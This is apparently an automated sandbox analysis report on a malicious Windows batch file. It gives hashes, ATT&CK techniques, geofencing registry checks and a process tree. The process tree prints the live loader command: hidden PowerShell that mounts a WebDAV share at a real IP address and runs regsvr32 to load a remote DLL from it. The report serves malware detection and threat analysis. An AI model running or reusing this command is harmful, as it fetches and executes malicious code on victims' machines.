5b2ece37bbf22c806f0d753312e1526e795ec3ce0059eaf45378f425d811ec11

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
22-07-2024 03:54

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General

Target

2898271643604834.bat
Size

18KB
MD5

99cf2907e301f5e1286a48af0650a864
SHA1

bf4e8a56f7d26ccce8f473bfc08cddf6c03320d1
SHA256

5b2ece37bbf22c806f0d753312e1526e795ec3ce0059eaf45378f425d811ec11
SHA512

9b3fc7c5dee5699680a1a331af724b61dc9fb7b2a5262497810201cd6bfa17eeb9292eead284cdbc0a2269c8fb52c0e859ba4e6148d48f11f7ab2ba081db6c16
SSDEEP

384:OFvJoKyCI0wqN+J13ydZuAn/H5QyXQaOPHmjCI+JvL3731vt:tKy7pY+JCZuO/ZQTmjCbJvL3z1vt

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1892	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1892	powershell.exe
1892	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1892	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
676	wordpad.exe
676	wordpad.exe
676	wordpad.exe
676	wordpad.exe
676	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4484 wrote to memory of 676	4484	cmd.exe	85
PID 4484 wrote to memory of 676	4484	cmd.exe	85
PID 4484 wrote to memory of 1892	4484	cmd.exe	87
PID 4484 wrote to memory of 1892	4484	cmd.exe	87
PID 1892 wrote to memory of 1492	1892	powershell.exe	89
PID 1892 wrote to memory of 1492	1892	powershell.exe	89
PID 1892 wrote to memory of 2736	1892	powershell.exe	90
PID 1892 wrote to memory of 2736	1892	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2898271643604834.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4484
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\7802111524443.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1892
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1492
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\7802111524443.dll
    3⤵
    PID:2736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:5092

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j43hvyda.bpf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1892-0-0x000001587AF40000-0x000001587AF62000-memory.dmp

Filesize
136KB

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